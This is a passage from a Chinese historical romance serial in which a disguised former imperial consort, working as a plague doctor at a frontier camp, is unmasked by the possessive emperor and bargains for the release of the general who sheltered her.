墨司渊本该勃然大怒,却对眼前这个女子生不起气来。她的眼神、她的语气,都让他想起了那个人——阿孟。
“顾凛鹤,真是找了个有胆识的好妻子。”墨司渊冷笑道,眼中闪过一丝复杂的情绪。
阿孟见状,知道再这样拖延下去也无济于事,索性直接道:“皇上,民女有个提议。”
“哦?”墨司渊挑眉,“说来听听。”
“如今军中瘟疫泛滥,将军身为主帅,不能久留囚中。”阿孟直视墨司
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渊的眼睛,“民女愿意用自己换将军。民女虽是女流,却也略通医术,或可为军中将士解除病痛。用民女做人质,比将军更有价值。”
墨司渊听完,突然大笑起来,笑声中满是嘲讽:“你一介粗鄙之女,哪里来的脸面与朕谈条件?”
他站起身,走到阿孟面前,居高临下地看着她:“你以为你是谁?能与朕讨价还价?”
阿孟不卑不亢地回视:“民女不过是想为将军分忧,为军中将士尽一份力罢了。”
“你真以为朕会被你这点小伎俩蒙蔽?”墨司渊冷笑道,“告诉你,顾凛鹤必须留下,你也必须留下!你们两个,谁都别想走!”
阿孟心中一沉,知道墨司渊已经起了疑心,再强求只会适得其反。
“既然如此,民女恳请皇上允许民女照顾将军。”阿孟低下头,语气软了几分,“将军身上有伤,若是在囚车中久留,恐怕伤势加重。”
墨司渊沉默片刻,突然道:“准了。”
阿孟抬头,有些意外。
“不过,”墨司渊话锋一转,“你们两个都得住在朕的营帐附近,方便朕随时召见。”
阿孟明白,这是墨司渊要监视他们。但为了顾凛鹤的安全,她只能答应:“谢皇上恩典。”
“下去吧。”墨司渊挥了挥手,“朕会让人安排。”
阿孟行礼退下,心中却暗自警惕。
墨司渊这么轻易就答应了,必定另有所图。
走出营帐,阿孟看到顾凛鹤正被侍卫从囚车中放出。
见到阿孟,顾凛鹤快步走来:“如梦,你没事吧?”
阿孟摇摇头:“我没事。皇上答应放了你,但要我们住在他营帐附近。”
顾凛鹤眉头紧锁:“这是要监视我们。”
“我知道。”阿孟低声道,“但至少你不用再受囚车之苦了。”
顾凛鹤握住阿孟的手,眼中满是感激:“多谢你。”
阿孟微微一笑:“将军不必言谢,你我二人乃是夫妻,既然是夫妻,那自是要同甘共苦的。”
第129章 周旋
两人没说多久的话,就被周海叫了进来。
“快进来吧,夫人,别让皇上等急了。”
阿孟这才收了关切的神色,连忙进营帐内。
墨司渊脸色阴沉,只是一个眼神,周海心领神会,立刻退出了营帐。
在他离开之后,阿孟直接在原地跪下,朝着墨司渊磕头行礼。
“草民叩见皇上,吾皇万岁万岁万万岁。”
他的目光最终落在阿孟脸上,只见她不卑不亢站立着,哪还有半分猎场上那般惊慌失措的模样。
“呵,方才在顾凛鹤面前,倒是一副弱不禁风的样子。”墨司渊迈步上前,忽然掐住她的下巴,强迫她抬头直视自己,“怎么,现在不说孤男寡女不便了?还是说,为了顾凛鹤,你连清白都可以不要?”
阿孟注视着这张曾经熟悉的脸,心中涌起一阵厌恶。当年自己也曾如此仰望他,可换来的却是家破人亡。她一言不发,任由墨司渊掐着自己的下巴。
“为何不说话?”墨司渊加重了手上的力道,冷笑道,“让朕猜猜,是想保全顾凛鹤,所以装作贞烈妇人?还是心中有鬼,怕说多错多?”
阿孟面无惧色,只是默默承受着,眼神却冰冷如寒潭。
墨司渊被她这般态度激怒,松开手,冷声道:“滚下去!就在营帐里研究药物,要什么东西让周海送进来。别想着逃走,朕会一直盯着你们!”
阿孟行了一礼:“民女遵命。”她转身欲走,却听墨司渊又道:“江夫人好大的骨气,倒是让朕更好奇,你究竟是何方神圣了。”
阿孟脚步微顿,继而若无其事地离去。
接下来的日子里,阿孟每日在营帐中制药,一连数日不发一言。
她手持木勺,专注地搅动药罐中的药汁,面上平静无波。
墨司渊时常来营帐中盯她,却见她始终沉默,神情专注,仿佛他根本不存在一般。
这种无声的抗拒比任何言语都更让墨司渊恼火。
“你这药到底要熬到什么时候!”墨司渊终于忍不住,一脚踢翻了一旁的小桌,“整个营帐都是这些恶心的药味,熏得朕头晕脑胀!”
阿孟神色不变,只是淡淡道:“民女早说过,解药需时日,皇上若是不喜这味道,大可让民女到别处去制药。”
“你!”墨司渊气极反笑,“朕倒要看看,你这药究竟能不能研制出来,还是只是在故弄玄虚。”
“皇上若不相信,可自行寻别人。”阿孟将药罐中的药汁倒入瓶中,动作稳当,“民女只是尽己所能,为将士们解除病痛。”
墨司渊看她这副淡然模样,心中无名火起,猛地上前抬起她的下巴:“为何不说话?这几日你对朕一言不发,是何居心?”
阿孟被迫抬头,嘴角却勾起一抹冷笑:“皇上想听民女说什么?民女乃是顾将军的妻子,除了药事,还能与皇上说些什么?”
这句话如同一根刺,狠狠扎入墨司渊心中。
“一个伶牙俐齿,表面一言不发,其实心里早已经对朕厌恶透了吧?”
阿孟的眼睛直视着墨司渊,可阿孟的底气越足,就让墨司渊愈发气恼。
他猛地甩开阿孟的脸,大步回到座位上,阴沉着脸不再说话。
阿孟继续调配着药材,心中却暗自估算着时间。
脸上的**已经戴了太久,边缘处开始有些松动,若是再不处理,恐怕会露出破绽。
思索再三,阿孟放下手中的药罐,走到墨司渊面前:“皇上,民女需要一些特殊的药材,营中没有,想出去采摘。”
“又要采药?”墨司渊冷冷看她,“你这几日三番五次要出去,朕看你是想逃走吧?”
“皇上多虑了。”阿孟神色坦然,“民女只是想尽快研制出解药。若皇上不信,可派人随行。”
墨司渊盯着她看了许久,突然起身:“去吧,带上军医,速去速回。”
“多谢皇上。”阿孟行礼,转身欲走。
“等等!”墨司渊叫住她,“周海,你留下看着营帐,朕亲
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自跟去看看。”
周海一愣,随即恭敬应下:“是,皇上。”
阿孟心中一紧,但面上不露分毫。她转过身,语气平静:“皇上若是不放心,尽可随行。”
墨司渊冷笑一声:“朕不但要看看你采什么药,更想看看,你会不会趁机逃走。”
阿孟心中暗叹一声,如今面具已有松动,若是遇到师父,便更难解释。她不得不临时改变计划:“皇上既然要随行,那民女也不必带军医了,免得多生事端。”
“随你。”墨司渊不以为意,“朕只是要看看,你究竟在搞什么鬼。”
两人一前一后走出营帐,晨光微熹,将两人的影子拉得很长。阿孟心思急转,这一次,她必须想个万全之策,才能避开墨司渊的眼线。
“对了,”墨司渊突然开口,“朕倒是很好奇,你和顾凛鹤相识多久了?”
阿孟脚步不停:“回皇上,两年有余。”
“哦?”墨司渊饶有兴趣,“那你可知他的过去?”
“夫妻之间,何必事事过问?我二人相互信任,互相倚仗,便足够了。”阿孟规避话题,不愿多说。
墨司渊冷笑:“朕看你们感情深厚,却不知彼此的过去,倒是奇怪。”他意有所指地看着阿孟,“江夫人真的是江夫人吗?”
阿孟心头一震,但很快镇定下来:“不知皇上何意。民女从小在南方长大,自然姓江。”
“是吗?”墨司渊眯起眼睛,“那你为何会出现在边关?一个女子,独自一人来到这战火纷飞之地?”
阿孟沉默片刻,低声道:“民女父母早逝,无依无靠,只得跟着师父四处游医。”
“师父?”墨司渊追问,“谁是你师父?”
“一个隐居山林的老道。”阿孟随口编造,“已经仙逝多年,师父在走之前,给我留下了不少医书,他死之后,民女也只能靠不上医术讨些吃食。”
阿孟快步向前,墨司渊紧随其后,目光紧盯着她的背影,心中思绪万千。
第130章 山洞谈话
“江夫人,你走得倒是快。”墨司渊冷笑一声,“莫不是急着要逃?”
“民女只是担心耽误太久,解药无法及时配出。”阿孟头也不回地应道。
两人穿过一片茂密的松林,绕过几处岩石突起的险地,不知不觉已走出了大营数里远。
前方是一处陡峭的山坡,野草丛生,点缀着星星点点的野花。
“皇上,民女要的草药就在那处山坡上。”阿孟指着斜坡上一簇紫色的小花,“那是紫金草,可解南楚**中的‘水溪煞’。”
“既然找到了,那就快去采。”墨司渊不耐烦地催促,“朕可没有闲工夫陪你在这荒郊野外闲逛。”
阿孟点头,小心翼翼地攀上湿滑的斜坡。
山坡上泥土松软,刚下过一场雨,地面还残留着湿气。
“当心些。”墨司渊站在山坡下,语气冷淡,却忍不住出言提醒。
“民女知道。”阿孟应了一声,继续攀爬。
终于,她爬到了那簇紫金草旁边,正弯腰伸手去踩,突然脚下一滑!
“啊!”阿孟惊呼一声,整个人向后仰倒,眼看就要从山坡上滚落下来。
“阿孟!坚持住!”墨司渊下意识喊出口,飞快地冲上前,一把抓住了她的手腕。
阿孟瞳孔一缩,心跳几乎停滞。
他喊了什么?阿孟?
“抓紧了!”墨司渊双手用力,试图将她拉上来,但泥土松软,他的脚下也开始打滑。
两人就这样僵持着,阿孟悬在半空,只有一只手被墨司渊紧紧抓住。
墨司渊咬咬牙,先确保阿孟抓住一块突出的岩石不至于掉落,然后快速挪到藤蔓处,一把抓住,试了试牢固度。
“还算结实。”墨司渊将藤蔓的一端递给阿孟,“抓住它,朕拉你上来!”
阿孟点头,双手紧握藤蔓。
墨司渊用力拉扯,终于将她拽上了山坡,两人一起跌坐在地上,大口喘息。
“多谢皇上救命之恩。”阿孟拱手行礼,心中却在回味方才墨司渊那一声“阿孟”。
墨司渊看着她狼狈的模样,突然冷笑一声:“蠢女人,平日里就只会让顾凛鹤保护你吗?不像阿孟,她从不会向朕低头,哪怕是最危险的时刻。”
阿孟低下头,装作没有听见,心却跳得厉害。
她伸手去采那株紫金草,手指微微颤抖。
天色渐暗,远处雷声隆隆。
“看来要下雨了。”阿孟收好采摘的紫金草,抬头望向天空,“皇上,前面有个山洞,我们先避一避吧。”
墨司渊冷哼一声,却也不愿淋雨,便跟着阿孟来到山洞前。
洞口不大,内里却颇为宽敞干燥。
阿孟从怀中取出随身携带的干粮,摆了一块放入口中。
“皇上若是饿了,也可用些。”她将干粮推向墨司渊。
墨司渊嫌恶地看了一眼那粗糙的干粮,却还是坐了下来:“粗鄙下民,就这点东西也敢拿出来给朕吃?”
“民女身份低微,只能备些粗粮,若是皇上嫌弃,那便算了。”阿孟语气平静,却带着一丝倔强。
墨司渊盯着她看了许久,突然道:“你倒是有几分骨气,不像那些见了朕就战战兢兢的宫女。”
“民女只是个乡野村妇,自然不懂宫中规矩,若有冒犯,还请皇上恕罪。”阿孟低头应道,心中却在思量对策。
墨司渊不置可否,目光却始终未从她脸上移开。
阿孟心中一紧,面上却不动声色:“民女不过是个无名小卒,何德何能让皇上如此关注?”
“你说话的语气,做事的方式,都不像是个普通女子。”墨司渊眯起眼睛,“尤其是刚才在山坡上,你的反应…”
阿孟见墨司渊迟迟不肯与自己拉开距离,心知不妙。
下意识的反应是骗不了人的。
她悄悄从袖中取出那个小瓷瓶,趁墨司渊不注意时,将药粉撒在干粮上。
“皇上,天色已晚,若是不吃些东西,恐怕撑不到回营。”阿孟将撒了药粉的干粮递向墨司渊,“民女虽是粗鄙之人,但也知道不能饿着皇上,否则罪责难逃。”
墨司渊接过干粮,却没有立即食用,而是玩味地看着阿孟:“你倒是会为朕着想。”
“皇上乃是一国之君,民女自当尽心侍奉。”阿孟低头应道,心中却暗自焦急。
墨司渊突然开口,回味般道:“
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阿孟也曾这样为朕准备食物,只是她从不会像你这样低眉顺眼。”
阿孟心头一震,强自镇定道:“民女不知阿孟是谁,但想必是个有骨气的女子。”
墨司渊闻言嘴角微扬,露出一丝嘲讽的笑意:“比起你这样的女子,阿孟确实有骨气多了。她从不会送上干粮就期待朕的感激。”
他把玩着手中的干粮,象征性地凑近鼻尖嗅了嗅,眉头微微皱起:“这是什么味道?”
“只是些粗粮罢了,”阿孟连忙解释,“军中粮食有限,民女也只能备些这样的干粮。”
墨司渊冷哼一声,将干粮放到了石缝间:“朕堂堂天子,何时沦落到要吃这种贱民食物的地步?”
阿孟垂眸不语,心中却是一片冰凉。
计划落空,**又隐隐作痒,她清楚地感觉到面具边缘已经松动,再这样下去,恐怕撑不到回营。
雨势渐大,豆大的雨点打在洞外的石头上,发出噼啪之声。
阿孟仰头看了看漆黑的夜空,突然起身行礼。
“皇上,民女已数日未曾好好洗漱,这般蓬头垢面,实在无颜面对天子。雨水甘甜,民女想去洞外稍作清洁,还请皇上恩准。”
墨司渊眯起双眸,上下打量着她:“雨夜山林,你一女子,不怕有危险?”
“洞口不远处就有一处小溪,民女去去就回。”阿孟恭敬道,“若是皇上不放心,可派人跟随。”
这句话说得滴水不漏,墨司渊竟一时找不出拒绝的理由。他挥了挥手:“去吧,速去速回。”
阿孟谢恩离去,小心翼翼地避开石洞口的积水,朝着溪流方向走去。
待她确认已经离开墨司渊的视线,便加快脚步,寻了处隐蔽的山崖下。
她背对着来时的方向,伸手摸向自己的脸颊,指尖触及面具边缘。她轻轻用力,一点点将那层薄如蝉翼的**揭下。
“呼——”阿孟长舒一口气,感受着雨水轻抚真容的清凉。
她展开手掌,看着那张已经有些破损的面具,心中暗道:“得尽快找师父修复才行。”
就在她准备将面具重新戴好之际,身后突然传来一阵急促的脚步声。
第131章 身份暴露
还未等她反应过来,一只有力的手已经钳住了她的手腕。
“孟方意!果然是你!”墨司渊的声音如惊雷般在她耳边炸响。
阿孟猛地回头,与墨司渊四目相对。那双曾经日日夜夜出现在她噩梦中的眼睛,此刻近在咫尺,里面盛满了震惊、狂喜与愤怒。
“你没死!你竟然没死!”墨司渊的手指深深陷入她的肌肤,声音因激动而颤抖,“你这个骗子!你骗了朕!”
雨水顺着阿孟的发丝滑落,打湿了她的衣衫。她挣扎着想要摆脱墨司渊的钳制,却被他抓得更紧。
“放开我!”阿孟冷声道,“皇上竟然偷看一个陌生女子洗漱,未免太不知廉耻!”
墨司渊冷笑一声,眼中闪过一丝狂热:“陌生女子?孟方意,你还在装?现在朕已经知道,你根本不是什么江如梦,不是顾凛鹤的妻子,而是朕的孟贵妃!”
“我早已不是你的什么贵妃。”阿孟停止了挣扎,直视墨司渊的眼睛,“墨司渊,我与你已经恩断义绝。”
雨势渐大,打在两人身上,却浇不灭彼此间的怒火。
墨司渊的手指微微颤抖,他强行压抑着内心的激动,声音低沉而危险。
“好一个恩断义绝!你知不知道欺君之罪当如何处置?”墨司渊咬牙切齿,“你竟敢瞒着朕来到边关,与顾凛鹤勾结在一起!”
阿孟冷冷一笑:“边疆百姓和将士们的安危才是最重要的。南楚**,生灵涂炭,我身为大夫,自然要尽己所能。无论如何,我都会来的。”
“呵,冠冕堂皇的理由。”墨司渊松开她的手腕,退后一步,眼底竟有几分失落,“在顾凛鹤和朕之间,你还是选了他,宁愿假死也要赶到边关来见他。”
“你错了。”阿孟揉了揉被捏疼的手腕,“我来不是为了任何人,而是为了那些无辜的百姓和将士。”
墨司渊冷笑:“是吗?那为何要隐瞒身份?为何要假扮成顾凛鹤的妻子?”
“因为我知道,若你发现我还活着,必定不会让我安生。”阿孟直言不讳,“就像现在这样。”
“你倒是坦诚。”墨司渊眯起眼睛,“那你可知道,朕找了你多久?朕派人翻遍了整个京城,甚至怀疑过每一个与你相似的女子!”
阿孟看着墨司渊眼中那股执着,心中一阵悲凉。雨水顺着她的脸颊滑落,分不清是雨是泪。
“到现在你还是不明白。”阿孟摇头,声音里带着失望,“不懂民生疾苦,不懂我想要什么,只知道一味地追逐自己的执念。”
她低头看着手中已经破损的**,毫不犹豫地将它揉碎,任凭雨水冲刷殆尽。
既然身份已经暴露,这张面具也就失去了意义。
“我要回去了。”阿孟拢了拢被雨水打湿的衣衫,转身欲走。
墨司渊三步并作两步上前,再次钳制住她的手腕,力道之大几乎要将她的骨头捏碎。
“放手!”阿孟冷声道。
“不可能!”墨司渊眼中闪烁着近乎疯狂的光芒,“朕好不容易找到你,绝不会再让你离开朕身边!”
他的声音里带着一丝颤抖,仿佛害怕她会再次消失一般。
“你可知道,朕这些日子是如何度过的?每当夜深人静,朕总会想起你的音容笑貌,想起你曾经对朕的依恋。”
阿孟冷笑一声:“依恋?那不过是你一厢情愿的想象罢了。”
“你!”墨司渊气急,却又无言以对。
“墨司渊,你听好了。”阿孟直视他的眼睛,一字一句道,“现在边关将士们心中,我是救他们于水火的恩人。若你强行带走我,只怕会失了民心,伤了军心。”
墨司渊眉头紧锁,显然没想到这一层。
“你以为朕会在乎这些?”
“你应该在乎。”阿孟语气坚定,“一国之君若失去军心,天下还能安稳吗?”
墨司渊沉默片刻,松开了她的手腕,却仍不死心:“你真的不愿回到朕身边?”
阿孟陷入了沉默,只挣扎着要松手。
雨水打在两人之间,如同一道无形的屏障,将他们永远隔开。
墨司渊眸光微闪,雨水顺着他的脸颊滑落,打湿了他的龙袍。他深吸一口气,眼中闪过一丝不甘与决绝。
“孟方意,朕可以暂且放你一马。”墨司渊声音低沉,带着不容置疑的威严,“但待此战结束,你必须随朕回京。这不是商量,而是命令。”
阿孟冷笑一声:“皇上好大的口气。”
“在朕身边,
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你才能享有绝对的安全和地位。”墨司渊伸手想要触碰她的脸,却被阿孟侧身避开,“除了朕,世间没有任何一个男人能再给你这些。”
阿孟心中一阵悲凉。这个男人,到现在还以为自己在乎那些虚名与地位。
“我不需要这些。”她直视墨司渊的眼睛,“我只想救那些无辜的人。”
墨司渊眼中闪过一丝复杂的情绪:“你变了,孟方意。从前的你不是这样的。”
“是啊,我变了。”阿孟苦笑,“因为我看清了很多事。”
雨势渐大,墨司渊脱下外袍,不由分说地披在阿孟身上:“你会着凉。”
阿孟想要推开,却被墨司渊按住了手:“别任性。”
“我不需要你的怜悯。”阿孟冷声道。
“这不是怜悯。”墨司渊眼中闪过一丝柔软,却又迅速被冷硬取代,“朕只是不想让你生病,耽误了解药的研制。”
阿孟不再争辩,只是默默收紧了身上的衣袍。她知道,与其在这里与墨司渊争执,不如尽快回去继续研制解药。
“我们该回去了。”阿孟拿起采集的药材,转身就走。
墨司渊跟上前,伸手想要搀扶她,却被阿孟躲开。
“不必。”阿孟语气冷淡,“我自己能走。”
墨司渊眼中闪过一丝受伤,但很快又恢复了帝王的威严:“你总是这样倔强。”
“皇上若是真的关心边关将士,就该多想想如何抵御南楚,而不是在这里纠缠于儿女私情。”阿孟头也不回地说道。
墨司渊沉默片刻,突然问道:“顾凛鹤知道你的**吗?”
阿孟脚步一顿,却没有回答。
“他知道。”墨司渊自问自答,语气中带着一丝嘲讽,“所以他才会如此护着你。”
“将军是个忠义之人,他只是在尽自己的本分。”阿孟淡淡道。
“忠义?”墨司渊冷笑,“他若真忠义,就该将你交给朕!”
阿孟转过身,直视墨司渊的眼睛:“皇上,您若真的在乎这天下,就该放下私心,全力抗敌。”
墨司渊被她这一眼看得心中一震,许久才道:“朕自会处理好朝政军务,你只管研制解药。”
两人一前一后,沉默着回到了营地。
第132章 平安回来
营帐内。
顾凛鹤被关在囚车里,眉头紧锁。
自阿孟与墨司渊离开后,已过了两个时辰,却仍不见归来。
他心中不安,手指无意识地摩挲着腰间的佩剑。
“来人啊!”顾凛鹤终于忍不住唤道,声音中透着焦急。
周海闻声而入,恭敬地行了一礼:“将军有何吩咐?”
顾凛鹤直视周海,语气沉稳,压抑着紧张:“劳烦您去请沈副将来一趟,就说我有要事相商。”
“这…”周海面露难色,“皇上并未吩咐…”
“若是皇上问起,就说是我强行要求的。”顾凛鹤打断他,眼神坚定如铁,“请您速去速回。”
周海见他态度坚决,只得应声而去。
不多时,沈副将匆匆赶到,脸上写满担忧:“将军,出什么事了?”
顾凛鹤压低声音道:“阿孟与皇上一同出去采药,至今未归。我担心她的安全。”
沈副将闻言,面色骤变:“皇上亲自跟去了?这可不妙!”他四下看了看,确认无人偷听后,凑近道,“将军,皇上生性多疑,若是他起了疑心…”
“我知道。”顾凛鹤沉声道,眼中闪过一丝寒光,“所以我们必须尽快找到她。”
“我这就去联系云珠和贺先生。”沈副将当机立断,“云珠对这一带地形熟悉,贺先生又是阿孟的师父,他们定有办法。”
顾凛鹤点头:“速去速回,我在此等你。”
沈副将刚到营帐,就发现贺景行已经到了。
“贺先生!”沈副将不免惊讶道,“您怎么来了?”
贺景行摆摆手,随意地在椅子上坐下:“沈副将刚派人来找我,我便猜到了几分。”他挑眉看向沈副将,“怎么,我那宝贝徒儿出事了?”
沈副将将事情经过简要告知,贺景行听完,不但没有露出担忧之色,反而笑了起来:“就这点小事,你们就慌成这样?”
“贺先生!”沈副将急道,“阿孟若是被墨司渊识破身份,后果不堪设想!”
“我那徒儿,可不是那么容易就被人拿住把柄的。”贺景行悠然自得地品了口茶,眼中闪过一丝狡黠,“再说了,她那张**,可是我亲手所制,除非她自己揭下,否则谁也看不出破绽。”
云珠在一旁急得直跺脚:“您也太不着急了!小姐若是有个三长两短,我们可怎么办?”
贺景行瞥了云珠一眼:“你也跟着瞎操心。阿孟那丫头,比你们想象的要聪明得多。”
“可是…”沈副将仍不放心。
“顾将军,”贺景行放下茶杯,语气突然认真起来,“你可知道,阿孟为何能在宫中周旋多年而不被发现?”
沈副将一愣:“为何?”
“因为她懂得审时度势,知道何时该进,何时该退。”贺景行意味深长地说道,“墨司渊虽然多疑,但阿孟更加精明。她若是真被识破,早就想好了退路。”
沈副将忧心忡忡:“可皇上若是一怒之下…”
“他不会的。”贺景行打断道,“墨司渊对阿孟,始终抱有一丝执念。即便发现了她的身份,也会先试探,而不是立刻动手。”
沈副将握紧拳头,眼中闪过一丝决然:“不管如何,我不能坐视不管。若是天黑前阿孟还未归来,我便亲自去寻她。”
“将军此言差矣。”贺景行摇头道,“你若贸然前去,反而会打草惊蛇。不如静观其变,等阿孟自己回来。”
云珠咬着下唇,在营帐门口来回踱步,眼睛不时望向远处。
夕阳西沉,天边染上一层血色。她心中忐忑,手指不停地绞着衣角。
“小姐怎么还不回来…”云珠低声呢喃,眼眶微红。
就在此时,远处出现两个身影,一前一后朝营地走来。
云珠眯眼望去,前面那人正是阿孟,她不由得松了口气,刚要上前迎接,却猛然发现阿孟已恢复原本容貌,那张**不知去向。
“天啊!”云珠惊得捂住嘴巴,整个人如遭雷击。
她下意识想冲上前去,却又不敢轻举妄动,只能躲
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在暗处观察。
更令她惊讶的是,跟在阿孟身后的墨司渊并未如她想象中那般暴怒,反而神色复杂地紧跟着阿孟,目光始终未离开过她半分。
“你到底想怎样?”阿孟停下脚步,转身直视墨司渊,语气冷硬如铁,“既然已知我是欺君,何不直接动手?”
墨司渊冷笑一声:“朕若想杀你,何须等到现在?”
“那你跟着我做什么?”阿孟挑眉,丝毫不惧他的威严,“莫非是想看我如何向顾将军解释?”
“你一如既往得懂朕,”墨司渊眼中闪过一丝赞赏,随即又恢复冷漠,“朕确实很好奇,你会如何向他解释。”
阿孟冷哼一声:“我自有办法,不劳皇上费心。”
“孟方意,你还是这般倔强。”墨司渊突然唤出她的本名,声音中竟带着一丝怀念,“当年你也是这样,明明已无退路,却依然不肯低头。”
“皇上何必提当年?”阿孟眼中闪过一丝痛楚,随即恢复平静。
墨司渊沉默片刻,突然伸手抓住阿孟的手腕:“你终究是朕的女人。”
“放开!”阿孟猛地挣扎,却挣不脱他的钳制
。
“在朕心里,你永远都是。”墨司渊紧握不放,眼中闪过一丝执念,“无论你变成什么样子,戴上什么面具,朕总能认出你来。”
“墨司渊,你疯了!”阿孟怒视着他,“你明明已有皇后,为何还要纠缠于我?”
“那又如何?”墨司渊冷笑道,“朕是皇帝,后宫三千,为何不能纠缠于你?”
“你!”阿孟气得浑身发抖,眼中燃起怒火,“墨司渊,你真是冷血无情!”
两人正僵持不下,云珠躲在暗处,心急如焚。
她看到墨司渊拉着阿孟的手走向营帐,心中更是担忧。
“碰自己的女人,朕何须征得你的同意?”墨司渊冷冷道,强行拉着阿孟进入营帐。
云珠见状,连忙转身跑向贺景行所在的地方,她必须尽快告知此事,否则后果不堪设想。
第133章 释放
两人的身影逐渐走近营地,引起了一片骚动。
“皇上和江夫人回来了!”
“江夫人的面容怎么变了?”“那是江夫人吗?看起来完全不同了!”
士兵们窃窃私语,目光在阿孟与墨司渊之间来回扫视。
阿孟被墨司渊强行拉着手腕,面容恢复了本来样貌,眉宇间满是倔强。
顾凛鹤远远望见阿孟平安归来,紧绷的心弦微微松懈,但看清她被墨司渊钳制着,且面容已恢复原样,眼中立刻闪过一丝担忧。
“阿孟!”顾凛鹤不顾形象地大喊,侍卫们却立刻拉紧绑住囚车的锁链。
阿孟听到呼唤,转头望向顾凛鹤,唇角勾起一抹安抚的笑意,轻轻摇了摇头:“顾将军不必担忧,我没事。”
她的声音虽轻,却字字清晰。
那一瞬间的目光交汇,似有千言万语在无声传递。
墨司渊敏锐地捕捉到两人间的默契,心头火气猛然窜起,手指更加用力地掐进阿孟的手腕,拽着她径直走到顾凛鹤面前。
“顾爱卿,”墨司渊冷笑一声,故意将阿孟拉得更近,“朕今日有个惊人发现,你猜是什么?”
顾凛鹤沉默不语,只是平静地注视着阿孟,眼中满是关切。
墨司渊见他不答,自顾自地继续说道:“你的这位夫人,不过是个冒牌货!她根本就不是什么江如梦,而是朕的孟贵妃!”
营地一片哗然,侍卫们面面相觑,不敢置信。
“她假死潜逃,隐瞒身份,勾结朝廷重臣,该当何罪,顾爱卿心中可有数?”墨司渊阴冷的目光在两人之间扫视,“朕即将带她回京,你可有意见?”
顾凛鹤终于开口,语气沉稳如山:“臣只关心阿孟是否安好,其他并无意见。”
墨司渊嗤笑出声,目眦欲裂“顾爱卿,她明明是朕的女人,却装作你的妻子,你就不觉得荒谬可笑?”
顾凛鹤摇了摇头,声音低沉而坚定:“臣从不曾妄想过占有阿孟。阿孟的每一个决定,臣都尊重。”
他直视墨司渊的眼睛,语气平和却字字如钉:“阿孟不是物件,不是可以拿来炫耀的战利品。她是一个有血有肉的人,有自己的选择和尊严。”
墨司渊面色一沉,眸中寒光乍现:“你敢教训朕?”
“臣不敢,”顾凛鹤依旧平静,“臣只是陈述事实。阿孟来边关,是为了救治百姓和将士,不是为了臣,也不是为了皇上。”
阿孟眼中闪过一丝感动,努力挣开墨司渊的手:“皇上,我来此只为救人。若您真心关怀边关将士,就该放下私心,让我继续研制解药。”
墨司渊看着阿孟挣脱的手,又看了看顾凛鹤那平静的面容,心中一阵烦闷。
待墨司渊走进营帐,阿孟这才快步上前,隔着囚车的栏杆握住顾凛鹤的手:“对不起,我暴露了身份。”
顾凛鹤温柔地回握她的手:“不必道歉,你能平安回来就好。”
墨司渊怒火中烧,又从匆忙一把拽住阿孟的手腕,强行将她拖进营帐。帐内烛火摇曳,映照出他阴沉的面容。
“坐下。”墨司渊指着案几旁的椅子,声音冷硬如铁。
阿孟不卑不亢地坐下,抬眸直视墨司渊:“皇上既已找到我,也该将顾将军放出来了。他毕竟是军中主将,这般关押着实不成体统。”
“呵。”墨司渊冷笑一声,眼中怒火翻腾,“朕的贵妃刚刚被揭穿身份,第一句话竟是为顾凛鹤求情?孟方意,你心里可还有朕?”
“皇上误会了。”阿孟神色平静,眼中却闪过一丝坚毅,“我心里装的不是谁,而是这天下,是黎民百姓,是边关这些染病的将士们。”
“好一个心系天下!”墨司渊猛地拍案而起,“当年在宫中,你可曾有过这般胸怀?朕看你不过是为了顾凛鹤,才假死逃出宫去!”
阿孟摇头,语气坚定:“皇上若是这般想,我也无话可说。但请皇上明白,我来边关只为救人,与任何人无关。”
墨司渊踱步至阿孟身前,俯身凝视她的面容。
比起宫中那个孟贵妃,眼前的阿孟眉宇间多了几分坚毅,眼神更加清澈明亮。
“你变了。”墨司渊喃喃道,伸手想要触碰她脸颊上那道疤痕,“在宫中时,你从不敢这样与朕说话。”
阿孟侧身避开,起身拉开距离:“人总是会变的,皇上不也是吗?”
“朕对你的心从未变过。”墨司渊眼中闪过一丝复杂情绪。
沉默蔓延在帐内,如同一面无形的墙。
阿孟站在墙的一侧,墨司渊立于
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另一侧,两人相望无言。
良久,墨司渊终于叹了口气,挥手朝帐外喊道:“来人,释放顾将军。”
侍卫领命而去,不多时,铁链碰撞声响起,随后是沉重的脚步声。
顾凛鹤被带入帐中,虽被囚数日,但他气度不改,昂首挺胸。
阿孟见他获释,眼中闪过一丝喜色,几步上前:“将军无恙否?”
顾凛鹤朝她微微一笑,眼中满是关切:“无碍,倒是你——”
“顾将军多虑了,”阿孟打断道,“我很好。”
墨司渊冷眼旁观二人交谈,眸中寒光闪烁。他三步并作两步走到阿孟身旁,强行将她拉回自己身侧。
“顾爱卿,朕已赦免你的罪责,你可自由行动。”墨司渊语气傲慢,“但阿孟作为朕的妃子,自当随侍左右。”
顾凛鹤眉头微蹙:“皇上,军中瘟疫肆虐,贵妃医术高明,若能让她自由走动,或能救更多将士性命。”
“此事朕自有考量,”墨司渊冷声道,“孟贵妃可在军中自由行医,但必须夜宿朕的帐中。”
阿孟心头一震,正欲反驳,却听顾凛鹤先开口:“既如此,臣遵旨。”
“顾将军!”阿孟急道。
顾凛鹤却朝她摇摇头,眼中满是坚定:“阿孟,眼下救治将士要紧,其他事宜可暂且放下。”
阿孟明白他的用意,深吸一口气,转向墨司渊:“皇上若准我在营中自由行医,我也无异议。”
墨司渊满意地点头:“如此最好。”
顾凛鹤向二人行礼告退:“臣先去巡视军营,后再来寻阿孟商议解药事宜。”
“将军且去,”阿孟轻声道,“待我整理药箱后便去医帐。”
顾凛鹤点头应允,转身离去。
他背影挺拔如松,步履坚定有力,丝毫看不出刚从囚禁中获释的疲态。
阿孟望着他远去的背影,心中泛起一丝暖意。这位将军,着实令人放心。
“看够了吗?”墨司渊冷冷开口,打断她的思绪。
阿孟收回目光,面色平静:“皇上,我需去准备药材。”
“去吧,”墨司渊不置可否,“朕不会拦你。但记住,你终究是朕的人,逃不出朕的手掌心。”
阿孟没有回应,只是提起药箱,大步离去。
第134章 甘愿
墨司渊立在原地,目送阿孟远去的身影,手指不自觉地捻动袖口。
短短数日不见,阿孟与顾凛鹤竟已默契如此。
他们之间的眼神交流、言简意赅的对话,无一不刺痛他的心。
“阿孟在宫中服侍朕多年,何曾用这般眼神看过朕?”墨司渊喃喃自语,眼中闪过一丝黯然。
周海见状,轻轻掀开帐帘:“皇上,您已连日劳顿,可要先回营帐歇息?”
墨司渊微微颔首,跟随周海回到主帐。
帐内灯火通明,暖炉烧得正旺,然而他心中却如坠冰窟。
这段时间的所见所闻,让他不得不开始思索——顾凛鹤到底有何特别之处?
